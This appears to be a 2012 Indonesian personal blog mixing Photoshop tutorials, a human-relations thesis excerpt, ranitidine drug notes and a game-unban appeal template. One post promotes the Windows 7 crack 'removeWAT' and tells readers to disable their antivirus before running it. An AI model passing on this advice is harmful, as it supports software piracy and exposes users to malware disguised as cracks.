STARFLAZZ---Kesendirian bukanlah perasaan terburuk, tetapi dikelilingi orang yang ngebuat Loe ngerasa sedirianlah perasaan terburuk. ^_^

Tuesday 6 November 2012

UNBAN, UNSUSPENDED, OR UNBANNED WILD ONES

UNBAN, UNSUSPENDED, OR UNBANNED WILD ONES

Apa kabar semua??? kali ini saya akan membahas cara unbanned, unsuspended, atau unban wild ones.
caranya cukup sederhana, sama seperti cara kita report saat cari atau earn token ninja saga.


caranya :
1. masuk ke link ini : Wild Ones Playdom Anonimyus 
2. masukan email kamu
3. isi subject dengan "Wild Ones : Remove the suspension"
4. isi description dengan "I didn't violate term and service"
5. isi social network/platform dengan "facebook" jika anda bermain wild ones lewat facebook,
6. isi social networking/user id dengan "ID Facebook anda... contoh/example : https://www.facebook.com/profile.php?id=100001489212780
7. Pada game isi dengan Wild Ones
8. pada issue isi dengan "account management"
9. dont write the your character or town name
10. ferivikasi tulisan dengan benar
11. klik submit
12. tunggu 3-7 hari


have fun ^_^


NB : jika belum bisa anda bisa melihat video disini
Wild Ones Unban, Unsusspended, Unbanned

Saturday 20 October 2012

Tutorial : Filter Extract Selection

Tutorial kali ini akan membahas menggenai penggunaan filter extract yang biasa digunakan untuk melakukan seleksi secara mudah, pada prinsipnya seleksi digunakan untuk mengambil subuah objek dan memisahkannya dengan objek yang lain, karena ada banyak seleksi dalam photoshop maka tutorial ini secara khusus membahas seleksi dengan filter --> extract caranya adalah sebagai berikut :

1. Buka gambar keris :















2. Lalu klik File, Extract seperti gambar berikut:














3. Maka akan ditampilkan jendela Extract setelah itu klik pada Mark the edges, seperti ditunjukkan pada gambar :













4. Setelah itu buat lingkaran mengelilingi gambar yang ingin diseleksi, seperti :
















5. Lalu klik pada “ Fill the area you want to retain “ dan klik ditengah tengah warna hijau sehingga gambarnya menjadi :














6. Setelah itu klik preview untuk melihat hasilnya, misanya seperti ini:
















Sedangkan untuk menggati background silahkan baca ditutorial ini

7. Setelah itu jika seleksi sudah dirasa bagus , klik oke maka jendela extract akan secara otomatis tertutup dan kita akan kembali ke work area photoshop.

8. Selesai, gampang kan caranya, selain itu bisa digunkan juga untuk seleksi lain, yang bisa digunakan untuk mengganti background ( silahkan baca disini )misalanya:
























Tutorial seleksi ini ( filter --> Extract ) kedepannya akan aku gunakan untuk membuat seleksi lain dalam kasus yang berbeda, jadi pelajari baik baik ya ... n dimengerti,,, buka contekan juga boleh kok klo lupa hee... hee selamat mencoba coba....

Tutorial : Mengganti Background Foto

Tutorial ini akan membahas tentang teknik mengganti background foto menggunkan filter extract, jika ada yang belum tahu apa itu filter extract silahkan baca disini dulu , setelah membaca artikel tentang extract tersebut.. sekarang sudah tahu kan apa itu filter extract... gampang kan???

Ya sudahlah... sekarang kita mulai saja tutorial nya, pertama buka gambar model nya :












Sekarang gunakan exctract untuk membuat seleksi sehingga diperoleh gambar dengan background transparan seperti :






































Setelah itu buka gambar baru yang akan dijadikan background misalnya gambar :












Lalu menggunkan move tool ( V ), pindahkan gambar model ke gambar background:
( caranya klik icon move tool, lalu klik digambar model, lalu seret model tersebut ke gambar backgound, maka di palete layer akan ada 2 layer, seperti : )


























Jika gambar background terasa terlalu besar bisa di crop menggunkan crop tool sehingga didapat hasil akhir seperti :



















Nah silahkan berkreasi sendiri dengan macam macam background lain misalnya:































Tutorial : Seleksi Rambut dengan Photoshop ( Menggunakan Channel )

Sekarang ktita akan membahas cara melakukan seleksi dengan chanel menggunakan photoshop, tutorial ini melengkapi tutorial lain pada pokok bahasan macam macam seleksi pada photoshop, seleksi ini tidak sulit kok... jadi maju terus untuk belajar photoshop....OK
Sekarang yang kita butuhkan adalah gambar model ( gambar ini aku dapat dari salah satu website nya mas Sadewo ), oke.. sekarang kita mulai ya....

1. Buka gambar model




















2. Lalu pindah ke palette channel, seperti gambar :




















3. Plih satu satu cahnnel nya ( red, greend,blue) untuk mengetahui warna paling kontras antara gambar dan backgroud seperti ini

Red :










Green:










Blue:










Nah dari ketiga warna tersebut yang paling kontras adalah blue, jadi pilih channel blue

4. Sekarang buat duplikat chanel blue, caranya tarik channel bleu ke icon duplikate new layer, Sehingga palete chanel gambarnya menjadi:




















5. Sekarang klik image --> adjusment --> level, buat gambar menjadi hitam, dengan mengeser anak panah kecil ( output level) ke kanan seperti :













6. Klik brush tool ( b) set foregound color jadi hitam, lalu sapaukan brush pada model seperti :




















7. Lalu ratakan sehingga model tertutup warna hitam secara penuh :




















8. Gambar sudah hitam, sekarang klik icon load channel as selection :
Lalu gambar nya menjadi :









Setelah itu klik select --> Inverse --> ( untuk membalik seleksi, agar gambar model nya saja yang terseleksi )

9. Lalu klik RGB, dan hilangkan tanda mata pada blue copy ( dengan cara di klik pada gambar matanya) sehingga gambar:















10. Pindah ke palete layer:

















11. Gambar nya sekarang sudah terseleksi, jika ingin mengganti background bisa mengunakan cara seperti ( klik disini untuk baca)

12. Berikut contoh gambar background lainnya:










Wednesday 10 October 2012

Human Relation dalam Organisasi Perusahaan Human Relation dalam Organisasi Perusahaan

Human relation dalam arti sempit dapat diartikan sebagai komunikasi peruasif yang dilakukan seseorang kepada orang lain secara tatap muka dalam situasi kerja (work situation) dan dalam organisasi perusahaan dengan tujuan untuk menggugah kegairahan dn kegiatan kerja dengan semangat kerja sama yang produktif dengan perasaan senang dan puas. Dengan demikian human relation bukanlah sekedar relasi atau hubungan saja, human relation bukan suatu keadaan yang pasif, melainkan suatu aktivitas. Human relation adalah suatu “action oriented”. Suatu kegiatan untuk mengembangkan hasil yang lebih produktif dan memuaskan.
Dalam lingkungan bisnis, human relation dirasakan sangat penting oleh para manajer, karena Human relation dapat menghilangkan kerugian akibat salah komunikasi (miscomunication) dan salah interpretasi (misinterpretation) yang terjadi antara manajer beserta para pegawainya dengan publik diluar organisasi. Dengan demikian para manajer perlu melakukan human relation, baik pada khalayak atau publik di dalam organisasi, maupun kepada khalayak diluar organisasi selain dalam hubungan dengan tugas pekerjaan, juga diluar tugas pekerjaan.
Dengan orang-orang yang berada dalam organisasi, jelasnya para karyawan. Human relation perlu dilaksanakan untuk meniadakan gangguan sebagai akibat salah komunikasi dan salah interpretasi. Lebih-lebih untuk untuk menghilangkan frustasi terutama frustasi agresif, serta menggugah kegairahan dan kegiatan kerja. Diluar tugas pekerjaan pun, para manajer, baik manajer tingkat tinggi, tingkat menengah maupun tingkat rendah, serta seluruh pegawai sepantasnya selalu melakukan human relation dengan siapapun, selain dengan orang-orang yang ada sangkut-pautnya dengan organisasi, juga dengan mereka yang tidak ada hubungannya. Human relation ini dilakukan di perkumpulan-perkumpulan olah raga, keagamaan, kesenian, dalam konverensi, seminar dan lain sebagainya, bahkan di tempat-tempat umum seperti restoran, stasiun, toko dan lingkungan rumah. Hal ini dilakukan demi menjaga citra organisasi perusahaan. Prilaku seluruh pegawai perusahaan yang baik dan etis terhadap khalayak diluar organisasi akan menjaga nama baik, bahkan mengharumkan nama organisasi yang diwakilinya.
Human Relation dalam perusahaan memainkan peran dalam hal konseling, ditinjau dari segi komunikasi Konseling adalah komunikasi antar persona. Yang bertindak sebagai konselor adalah manajer atau pemimpin (kepala bagian, kepala sekasi, supervisor dsb). Sedangkan konselinya adalah karyawan yang menghadapi suatu masalah atau mengalami frustasi. Tujuan dari konseling adalah membantu para karyawan memecahkan masalahnya sendiri, memecahkan masalah yang berkaitan dengan hubungan antar-karyawan, atau mengusahakan adanya suatu suasana yang menimbulkan keberanian untuk memecahkan masalah yang mungkin ada. Peran konselor hanyalah memberikan pengertian tentang masalah yang belum jelas serta memberi nasehat. dan konseli sendirilah yang akan mengambil keputusan.

AKTIVITAS HUMAN RELATIONS DALAM MENINGKATKAN MOTIVASI KERJA PEGAWAI KANTOR

BAB I
PENDAHULUAN
A.    Latar Belakang Masalah
Seperti diketahui bahwa kegiatan human relations telah terjadi sejak manusia terdiri dari lebih dari satu orang. Hal ini juga berarti bahwa human relations merupakan suatu gejala sosial yang hampir setua dengan hidup bermasyarakat. Sasaran material dari human relations adalah manusia dalam kehidupan bermasyarakat, sedangkan sasaran formilnya mencakup ruang lingkup hubungan antar manusia. Di dalam konsep ilmu pengetahuan disiplin ilmiah human relations termasuk dalam lingkungan ilmu-ilmu sosial dan mengalami perkembangan di bidang sosiologi, ilmu jiwa sosial, ilmu politik, dan manajemen. Perkembangannya maju dengan pesat setelah perang dunia kedua berakhir sejalan dengan perkembangan organisasi lembaga, perusahaan dan industri-industri raksasa maupun dalam lembaga pemerintahan yang menggunakan teknik manajemen yang akurat serta tepat guna. Sesuai dengan latar belakang inilah maka tidaklah mengherankan apabila kegiatan human relations banyak dikembangkan dalam dunia lembaga, perusahaan, industri, pemerintah maupun bisnis dan public administration. Begitupula yang akan kami teliti pada Pemerintah Daerah Tana Toraja.
Sebagai suatu disiplin ilmu maka human relations adalah suatu studi tentang hubungan antar manusia yang mencakup semua bentuk interaksi manusia dalam kehidupan bermasyarakat. Davis dalam Effendy (1993:51), mengemukakan bahwa human relations adalah kegiatan dalam upaya memotivasi manusia untuk menumbuhkan kerja sama yang efektif, dan memberikan pemenuhan kebutuhan dan juga tujuan organisasi. Potensi aktualitas dan proses kreativitas manusia perlu digali, diarahkan dan dikembangkan di dalam wadah masyarakat dan juga organisasi.
Dalam hubungannya dengan manajemen sumber daya manusia, komunikasi yang dalam hal ini human relations bukan hanya sekedar berarti pengiriman dan penerimaan pesan, tetapi lebih jauh dari itu, human relations juga bertujuan mengembangkan potensi sumber daya manusia. Sesuai dengan tujuan tersebut, pengembangan potensi pegawai dalam suatu pemerintahan tidak akan terlepas dari upaya peningkatan motivasi dan prestasi kerja seorang pegawai.
Seorang pegawai yang termotivasi baik, akan memberikan kontribusi yang lebih besar terhadap keefektifan organisasinya. Jika seorang pegawai termotivasi dengan baik, maka akan menunjukkan suatu pemerintahan yang berjalan efektif dan hal ini merupakan kunci sukses bagi seorang atasan dalam membina perusahaan/lembaga/pemerintahan yang dipimpinnya.
Ada lima hal penting yang perlu diperhatikan dalam kaitan human relations terhadap peningkatan motivasi kerja karyawan untuk mencapai tujuan organisasi, kelima hal tersebut antara lain :
  1. Tersedianya umpan balik dan proses mendengarkan yang efektif.
  2. Adanya kesungguhan hati dalam melaksanakan tugas yang menjadi tanggung jawabnya.
  3. Dapat memahami kebutuhan-kebutuhan pegawai bawahan.
  4. Penggunaan waktu secara tepat dan efektif.
  5. Mempergunakan saluran komunikasi yang tepat.
Seorang atasan yang mendapat umpan balik dari bawahannya, hendaknya menerima secara seksama. Sehingga komunikasi berikutnya tidak menimbulkan isyarat-isyarat non-verbal, karena jika tidak mendapat respon, maka persepsi kedua belah pihak akan kabur. Komunikasi yang baik hendaknya direncanakan terlebih dahulu sebelum dilaksanakan, sehingga tidak terkesan hambar, terutama komunikasi vertikal yang dilakukan antara atasan dengan bawahan. Dalam situasi yang demikian, maka pegawai dalam posisinya sebagai bawahan mempunyai kebutuhan dan senantiasa perlu diperhadapkan sebagai kendala yang perlu mendapat perhatian, minimal secara moral, sehingga bawahan merasa aman menerima, menyimpan dan sekaligus melaksanakan pesan dari atasan atau setidak-tidaknya bawahan merasa tidak dirugikan.
Secara sekilas human relations terlihat sebagai suatu hal yang biasa dan mudah dilakukan, tetapi sebenarnya tidaklah demikian adanya. Human relations adalah suatu hal yang dinamis dan tidak terlepas dari faktor manusia. Hubungan kerja antara atasan dengan bawahan misalnya. Komunikasi, tugas, dan tanggung jawab atau pendelegasian wewenang akan sangat sulit dilakukan jika tidak dibarengi dengan proses human relations yang baik.
Disadari atau tidak, human relations dapat memberi pengaruh-pengaruh positif terhadap motivasi kerja seseorang. Teknik-teknik yang kurang tepat yang digunakan oleh seorang atasan dalam berkomunikasi dengan bawahannya (komunikasi vertikal) akan berakibat menurunnya motivasi kerja bawahannya. Hal ini dapat terjadi karena motivasi berhubungan erat dengan implikasi-implikasi yang diterima sebagai hasil suatu komunikasi. Adapun komunikasi horizontal dalam berkomunikasi yaitu berupa koordinasi tugas, penyelesaian masalah, pembagian informasi, dan resolusi konflik.
Peran  human relation sangat menentukan aktifitas organisasi dalam mencapai tujuannya. Oleh karena itu, human relations  harus memiliki evaluasi prestasi kerja bagi seluruh orang-orang yang ada di dalam organisasi, sehingga organisasi tersebut dapat mengetahui sejauh mana tingkat pencapaian prestasinya dan hal ini dapat dijadikan tolak ukur untuk pemberian kompensasi, pengembangan potensi diri serta perbaikan lingkungan kerja dalam melakukan inovasi yang akhirnya akan meningkatkan motivasi dan juga meningkatkan prestasi kerjanya, maka organisasi harus memberikan insentif atau membuat kebijakan tertentu dalam rangka memotivasi pegawainya, agar dapat memberikan kontribusi balikan kepada organisasi, yaitu berupa prestasi kerja yang tinggi.
Kantor Bupati Tana Toraja adalah salah satu instansi pemerintah yang mempunyai organisasi yang cukup baik, dimana kegiatan-kegiatan kerja dilimpahkan kepada seluruh pegawai, baik pegawai tetap (PNS) maupun pegawai honorer. Menarik untuk diteliti aktifitas human relations dalam hal ini pimpinan (atasan) dalam memotivasi karyawannya.
  1. B. Rumusan Masalah
Berdasarkan latar belakang masalah yang telah diuraikan di atas, maka masalah yang dibahas dalam penulisan skripsi ini adalah :
  1. Sejauhmana aktifitas human relations di Pemerintah Daerah Tana Toraja dalam peningkatan motivasi kerja pegawai kantor Bupati Tana Toraja?
  2. Faktor-faktor apa saja yang berpengaruh pada proses human relationspada pegawai kantor Bupati Tana Toraja?
  3. 1. Tujuan Penelitian
    1. Untuk mengetahui aktifitas human relations dalam meningkatkan motivasi kerja pegawai kantor Bupati Tana Toraja.
    2. Untuk mengetahui faktor-faktor apa saja yang berpengaruh pada human relations pada pegawai kantor Bupati Tana Toraja.
  4. 2. Kegunaan Penelitian
C.    Tujuan dan Kegunaan Penelitian
Ada dua kegunaan penelitian ini dilakukan, yaitu :
  1. Secara teoritis, yaitu penelitian ini nantinya dapat berguna sebagai kerangka acuan bagi mahasiswa atau cendekiawan untuk melakukan penelitian lebih lanjut.
  2. Secara praktis, yaitu menjadi bahan masukan bagi Pemerintah Daerah Tana Toraja dalam rangka mengembangkan human relations kemudian pengaruhnya terhadap motivasi kerja pegawainya.
  3. D. Kerangka Konseptual
Masalah utama yang sering nampak dijagad ini khususnya yang sering dihadapi oleh kalangan pimpinan perusahaan, lembaga, pemerintahan, maupun organisasi-organisasi lainnya, yaitu menyangkut prinsip utama dasar-dasar yang memungkinkan orang/manusia untuk tergerak melaksanakan pekerjaannya dengan senang hati.
Berbicara mengenai masalah kemauan dan kesediaan untuk melaksanakan tugas pekerjaan merupakan hal yang cukup kompleks seperti juga kompleksnya melakukan pendekatan pada manusia itu sendiri. Untuk mengenali masalah tersebut dan mendalaminya, maka mutlak diperlukan pengetahuan tentang apa yang disebut human relations terutama dalam tujuan komunikasi.
Mengingat begitu luasnya ruang lingkup human relations maka dalam penelitian ini akan dicoba fokuskan pada apa yang disebut Organizational Human Relations. Untuk mencari pengertian human relations nampaknya tidaklah mudah dapat menemukan kata-kata yang tepat sebagai terjemahan dari human relations, ada yang menterjemahkan sebagai hubungan antar manusia. Secara harfiah terjemahan tersebut tidaklah salah, akan tetapi tidak mengandung makna human relations yang sebenarnya. Pada istilah hubungan antar manusia tidak terdapat titik berat yang meyakinkan, sedangkan titik berat pada human relations adalah humannya (manusianya). Jadi di sini faktor manusianya berupa sifatnya, wataknya, tingkah lakunya, pribadinya dan bukan hanya wujudnya saja. Human relations adalah masalah rohaniah, yaitu proses rohaniah yang menyangkut watak, sifat, perangai, kepribadian, sikap dan tingkah laku menuju suatu kebahagiaan atau kepuasan hati. Proses ini berlangsung pada dua atau tiga orang yang terlibat dalam hubungan komunikatif, yaitu komunikasi antar persona. Mengenai human relations, Effendy (1993:50) memberi pengertian human relations dalam arti sempit yaitu :
“Komunikasi persuasif yang dilakukan oleh seseorang kepada orang lain secara tatap muka dalam situasi kerja (work situation) dan dalam organisasi kekaryaan (work organization) dengan tujuan untuk menggugah kegairahan dan kegiatan bekerja dengan semangat kerjasama yang produktif dengan perasaan bahagia dan puas hati”.
Dengan kegiatan human relations para pemimpin organisasi kekaryaan berusaha memecahkan masalah yang menimpa para karyawan secara individual, sehingga dengan demikian mereka dapat digairahkan dan digerakkan ke arah yang lebih produktif. Norman dalam Effendy (1993:50) mengatakan bahwa :
“Human relations dapat diusahakan untuk menghilangkan rintangan-rintangan komunikasi, mencegah salah pengertian dan mengembangkan segi konstruktif sifat tabiat manusia. Dalam melaksanakan human relations itu pemimpin organisasi atau lembaga melakukan komunikasi dengan para karyawannya secara manusiawi untuk menggiatkan mereka bekerja bersama-sama, sehingga hasilnya memuaskan di samping itu mereka bekerja dengan hati puas”.
Adapun konsep dasar human relations adalah hakekat manusia itu sendiri. Sehubungan dengan  manusia, maka terdapat empat asumsi (anggapan dasar) yaitu :
  1. Perbedaan-perbedaan individual.
  2. Manusia seutuhnya.
  3. Motivasi.
  4. Martabat manusia (human dignity)
Di samping itu, motivasi merupakan bagian dari human relations untuk bagaimana meningkatkan sumber daya manusia yang ada dalam diri seseorang, sehingga seseorang yang diberi motivasi dapat bekerja lebih keras, berusaha mencari tingkat tanggung jawab, bekerja tepat waktu sesuai jadwal yang telah ditentukan, dan melakukan pekerjaannya dengan profesional.
Dalam motivasi kerja dapat diukur sebagai berikut :
  1. Tinggi, motivasi kerja tinggi apabila bawahan memiliki disiplin kerja yang tinggi, mempunyai tanggung jawab yang besar terhadap pekerjaan serta menghasilkan kualitas hasil pekerjaan yang sangat memuaskan bagi atasan.
  2. Sedang, motivasi kerja sedang apabila bawahan kurang memiliki disiplin kerja, kurang mempunyai tanggung jawab yang besar terhadap pekerjaan serta kualitas hasil pekerjaan yang kurang memuaskan bagi atasan.
  3. Rendah, motivasi kerja rendah apabila bawahan tidak memiliki disiplin kerja, tidak memiliki tanggung jawab yang besar terhadap pekerjaan serta kualitas hasil pekerjaan yang tidak memuaskan bagi atasan.
Dalam sebuah organisasi, kepemimpinan adalah merupakan ujung tombak keberhasilan suatu organisasi, karena organisasi yang dipimpin oleh pemimpin dengan gaya kepemimpinan yang mengetahui kebutuhan-kebutuhan orang-orang yang dipimpinnya baik itu kebutuhan manusia secara fisiologis atau secara psikologis, karena kepemimpinan merupakan salah satu alat (tool) dalam human relations bagaimana mempengaruhi orang lain dalam suatu organisasi, dan bagaimana orang bertingkah laku sehingga dengan kepemimpinan yang baik diharapkan akan meningkatkan motivasi kerja orang-orang yang dipimpinnya.
Pendidikan adalah merupakan faktor yang sangat mempengaruhi seorang pemimpin dalam human relations karena dengan pendidikan yang tinggi, akan memberikan pemikiran-pemikiran yang lebih baik dan profesional. Begitupun bagi karyawan atau bawahan dengan memiliki pendidikan, maka seseorang akan lebih mudah diajak berkomunikasi, dalam sebuah organisasi dan dapat lebih mudah untuk memahami dan mengerjakan tugas-tugas dalam sebuah organisasi.
Di samping itu, ada dua faktor yang menentukan sifat tabiat manusia yakni pembawaan sejak lahir (heredity) dan lingkungan hidupnya (environment). Yang menjadi dasar dari sifat, watak tabiat manusia ialah sifat-sifat yang dimilikinya begitu ia dilahirkan, sifat mana adalah warisan dari orang tuanya dan nenek moyangnya. Sifat-sifat tersebut dipengaruhi oleh lingkungan dimana ia hidup. Lingkungannya akan menentukan apakah sifat-sifat yang dibawanya sejak lahir itu akan berkembang atau tertahan. Interaksi dengan orang-orang dalam lingkungannya akan berpengaruh kepada sifat-sifat yang sudah ada padanya. Yang diartikan pengaruh di sini ialah bahwa sifat-sifat yang sudah ada itu berkembang atau tertahan, tetapi tidak mematikan.
Dalam perjalanan hidupnya, dalam berinteraksi dengan lingkungannya, seseorang menangkap kesan-kesan dari luar dirinya melalui panca inderanya. Yang ia lihat, dengar dan sebagainya masuk di alam sadarnya dan berhimpun di alam bawah sadarnya, berpadu dengan kesan-kesan pengalaman warisan nenek moyangnya yang sudah ada sejak lahir. Hal itulah yang menimbulkan perbedaan sifat tabeat manusia. Juga yang tidak bisa diabaikan adalah faktor gender (jenis kelamin) dimana kedua jenis mahluk (manusia) tersebut mempunyai banyak perbedaan sifat yang dapat mempengaruhi perilakunya.
Bagan berikut ini, akan membantu memahami kerangka konseptual yang dimaksud di atas :



  1. E. Definisi Operasional
Definisi operasional, sangat membantu dalam menemukan fakta dan memahami peristilahan yang digunakan.
  1. Aktifitas, kegiatan yang dilakukan secara nyata dan direncanakan oleh human relations yang ditujukan pada orang-orang dalam suatu badan organisasi tentang sesuatu hal yang mempunyai tujuan tertentu.
  2. Motivasi kerja, yaitu daya gerak, gairah atau semangat kerja yang diperlihatkan karyawan dalam melaksanakan tugas pekerjaannya, yang diperoleh melalui imbalan-imbalan (economic, social, dan psicological rewards) atau melalui persesuaian pimpinan/atasan suatu lembaga.
  3. Pegawai, aparatur negara yang biasa kita kenal dengan nama pegawai negeri sipil (PNS) aparatur yang berasal dari kata aparat yang berarti badan, alat, instansi pegawai negeri sipil.
  4. Human relation, komunikasi persuasif yang dilakukan seseorang kepada orang lain secara tatap muka dalam segala situasi dan semua bidang kehidupan sehingga menimbulkan kebahagiaan dan kepuasan hati pada kedua belah pihak yang dilakukan dimana saja.
  5. Tipe dan Waktu Penelitian
F.     Metode Penelitian
Penelitian ini dilaksanakan di kantor Bupati Tana Toraja, waktu penelitian   Mei 2006 – Juni 2006
  1. Tipe Penelitian
Penelitian dilaksanakan dengan mempergunakan metode penelitian deskriptif kualitatif, dimana data yang digambarkan secara obyektif berdasarkan data atau fakta yang ditemukan.
  1. Populasi dan Informasi Penelitian
    1. Populasi, populasi yang akan diteliti adalah pegawai kantor Bupati Tana Toraja Bagian Kepegawaian dimana jumlah pegawai negeri sipil sebanyak (20) dan pegawai honor sebanyak (3 orang)
    2. Informan, teknik penentuan sampel dalam penelitian ini adalah menggunakan purposive sampling yaitu memilih beberapa orang pegawai atau karyawan yang didasari atas pertimbangan tertentu yang dianggap dapat memberikan informasi sesuai permasalahan yang akan diteliti.
  2. Jenis dan Sumber Data
1)      Data primer, yaitu data yang diperoleh melalui pengamatan langsung pada Pemerintah Daerah Tana Toraja sehingga data yang diperoleh adalah :
–        Data tentang pelaksanaan human relations atasan/pimpinan kantor Bupati Tana Toraja terhadap pegawai dalam kegiatan pekerjaan sehari-hari dan kemungkinan untuk mendapatkan metode-metode yang digunakan dalam peningkatan motivasi kerja pegawainya.
–        Data tentang sejarah perkembangan Pemerintah Daerah Tana Toraja sejak didirikan hingga saat ini.
2)      Data sekunder, adalah data yang diperoleh dari bahan tertulis dengan melakukan pencatatan data pembangunan
–        Buku-buku petunjuk dan job description
–        Dokumen-dokumen dan laporan-laporan Pemerintah Daerah yang erat kaitannya dengan masalah yang diteliti.
  1. Data dikumpulkan dengan menggunakan metode :
1)      Library research (kepustakaan) yaitu suatu metode penelitian yang digunakan dengan mengunjungi perpustakaan, terutama mendapatkan literatur yang sesuai dengan topik pembahasan, mencari teori-teori yang kemungkinan dapat menjadi landasan teoritis (data sekunder).
2)      Field research (penelitian lapangan), yaitu metode penelitian yang bertujuan mengumpulkan data (data primer) dengan cara :
  1. Melakukan observasi, yaitu pengamatan pada obyek penelitian untuk mendapatkan bukti data yang berhubungan dengan permasalahan.
  2. Melakukan wawancara, dengan menggunakan pedoman wawancara sebagai instrumen penelitian yang diatur dengan sistematis berdasarkan masalah yang ditetapkan sebelumnya. Penulis melakukan wawancara langsung dengan beberapa informan yang dianggap dapat memberikan informasi sesuai dengan permasalahan yang diteliti dengan perincian yaitu :
-        Pimpinan                                                  1 orang
-        Staf/pegawai tetap PNS                          8 orang
-        Pegawai honor                                         2 orang
  1. Mengadakan kuesioner, yaitu pengumpulan data dengan mengedarkan daftar pertanyaan (kuesioner) yang berkaitan erat dengan masalah yang akan diteliti.
  2. Teknik Analisis Data
Guna mendapatkan data yang kualified, maka data yang telah dikategorikan (data primer dan data sekunder), dianalisis secara deskriptif kualitatif guna memberikan gambaran tentang hasil penelitian dengan asumsi bahwa teori-teori mengenai komunikasi atasan dengan bawahan tetap berlaku dan terkait dalam melakukan analisis data.

Monday 8 October 2012

software crack windows 7


kali ini saya akan memberikan info tips tips cara aktivasi windows 7 not genuine jadi genuine atau original...

okaaayyyyy cyyyberrss to the point aja yaahhh
nama filenya itu removeWAT v226
fungsinya itu menghilangkan pesan windows blacklist atau not genuine

cara pakainya sebelum instal nih aplikasi, agan agan harus offkan anti virusnya dulu soalnya sering kebaca sebagai virus / fals alarm dari antivirusnya itu... lalu klik aplikasinya GAMPANGKAN....

okaaayyyy cyyybers nih aplikasi susah banget dicarinya alias langka... soalnya banyak di blok sama mbah google


nih aplikasinya silahkan di download

passnya: www.starflazz.co.cc



GUNAKAN APLIKASI DENGAN BIJAK/ APABILA ANDA MAU (COPY PASTE) SEBAIKNYA MENCANTUMKAN ALAMAT BLOG INI DIBAGIAN BAWAH TULISAN INI
apabila link yang kalian klik rusak, silahkan hubungi admin dengan menulis komentar disini
terimakasih

PENGERTIAN OBAT RANITIDIN

RANITIDIN


Ranitidin merupakan salah satu obat yang cukup dikenal dikalangan masyarakat umum, yang disebabkan pemanfaatan obat ini yang cukup tinggi. Dokter umum dan spesialis penyakit dalam umumnya akan sering meresepkan obat ini. Secara umum, masyarakat mengenal ranitidin untuk indikasi ulkus duodenum, ulkus lambung, dan kondisi hipersekresi gastrointestinal (GI) patologikal. Penyakit-penyakit yang mengindikasi penggunaan ranitidin ini prevalensinya cukup tinggi dimasyarakat, sehingga wajar jika penggunaan ranitidin juga cukup tinggi jumlahnya. Dalam peresepannya, dokter dapat meresepkan ranitidin ini baik sebagai terapi utama maupun terapi pendukung. Tulisan ini akan sedikit mengulas semua hal yang berhubungan dengan ranitidin. Semoga bermanfaat.


NAMA, STRUKTUR KIMIA DAN DESKRIPSI 


Ranitidin memiliki rumus molekul C13H22N4O3S dengan bobot molekul 314,4 g/mol. Ranitidin adalah salah satu senyawa yang mengantagonis reseptor histamin H2 yang menghambat sekresi asam lambung. Selain digunakan dalam terapi penyakit ulkus peptikum dan gastroesophageal refluks, ranitidin juga dapat digunakan sebagai antihistamin pada berbagai kondisi alergi pada kulit.
Rumus Struktur Ranitidin
Struktur 3 Dimensi Ranitidin
Ranitidin memiliki nama ilmiah NN-Dimethyl-5-[2-(1-methylamino-2-nitrovinylamino)ethylthiomethyl]furfurylamine. Ranitidin yang tersedia umumnya adalah ranitidin hidroklorida. Ranitidin merupakan serbuk kristalin berwarna putih hingga kuning pucat, praktis tidak berbau, mudah larut dalam air, agak sukar larut dalam alkohol. Larutan 1% ranitidin dalam air mempunyai pH 4,5-6,0. Setiap 168 mg ranitidin hidroklorida setara dengan 150 mg ranitidin base. 


KEGUNAAN


Ranitidin diunakan secara oral dalam terapi ulkus duodenum dan ulkus lambung yang aktif, gasthroesophageal reflux desease (GERD), esofagitis erosif dengan endoskopi, dan sebagai terapi pemeliharaan pada ulkus duodenum dan ulkus lambung. Ranitidin oral juga digunakan dalam manajemen kondisi hipersekresi gastrointestinal (GI) patologis dan sebagai terapi pemeliharaan untuk mencegah kambuhnya esofagitis erosif. Ranitidin juga dapat digunakan secara parenteral pada pasien rawat inap dengan kondisi hipersekresi patologis pada saluran GI, atau sebagai terapi jangka pendek jika terapi oral belum memberikan respon yang optimum.

Ulkus Duodenum
Terapi Ulkus Duodenum Akut
Ranitidin oral digunakan dalam terapi jangka pendek pada ulkus duodenum aktif yang dikonfirmasi dengan endoskopi atau radiografi. Ranitidin parenteral digunakan pada pasien  dewasa dengan diagnosa ulkus duodenum parah yang sedang menjalani perawatan di rumah sakit atau pada terapi jangka pendek jika terapi oral tidak memadai. Ranitidin intravena juga digunakan pada pasien anak-anak (lebih dari bulan) dengan diagnosa ulkus duodenum. Antasida dapat digunakan bersamaan dengan terapi ini untuk menghilangkan rasa nyeri ulkus duodenum. Kombinasi antasida dan ranitidin ini terbukti mampu mengurangi kesakitan pada pasien.

Khasiat dan keamanan ranitidin untuk terapi jangka panjang ulkus duodenum belum diketahui. Keamanan dan khasiat ranitidin ini baru diketahui untuk penggunaan selama 8 minggu. Dan masalahnya bahwa pengobatan jangka pendek ulkus duodenum aktif (hingga 8 minggu) ini tidak mencegah kekambuhannya.

Terapi Pemeliharaan Ulkus Duodenum
Ranitidin digunakan dalam dosis rendah untuk terapi pemeliharaan setelah proses penyembuhan ulkus duodenum untuk mencegah kekambuhan. Dalam studi terkontrol angka kekambuhan ulkus duodenum setelah 4, 8 dan 12 bulan masing-masing adalah 21-24, 28-35, dan 59-68% untuk kelompok plasebo, dan angka kekambuhan pada kelompok yang diterapi dengan ranitidin 1 kali sehari 150 mg sebelum tidur masing-masing adalah 12-20, 21-24 dan 28-35%. Dalam studi tersebut juga diketahui bahwa efektivitas ranitidin dalam mencegah kekambuhan ulkus duodenum menurun pada kelompok pasien dengan kebiasaan merokok.

Kondisi Hipersekresi GI Patologis
Ranitidin oral maupun intravena juga digunakan pada kondisi hipersekresi GI patologis (misal pada pasien Zolinger Ellison Syndrome (ZES), mastositosis sistemik, hipersekresi pasca reseksi usus. Ranitidin mengurangi sekresi asam lambung yang berkaitan dengan gejala diare, anoreksia dan nyeri dan mempercepat penyembuhan ulkus. Infus intravena ranitidin kontinue hingga 15 hari pada pasien ZES menghasilkan efek pengendalian asam lambung hingga 10 mEq/jam atau lebih rendah. Antasida dapat digunakan bersama untuk mengatassi rasa nyeri. Antimuskarinik seperti propanthelin bromida dan iodida isopropamide juga dapat digunakan bersama guna memperpanjang masa kerja ranitidin.

Pada pasien hipersekresi GI patologis, ranitidin terbukti mampu menyembuhkan ulkus pada 42% pasien yang tidak merespon terapi simetidin. Pasien dengan ZES yang gagal dengan terapi simetidin berhasil diobati dengan ranitidin 600-900 mg perhari selama 1-12 bulan.

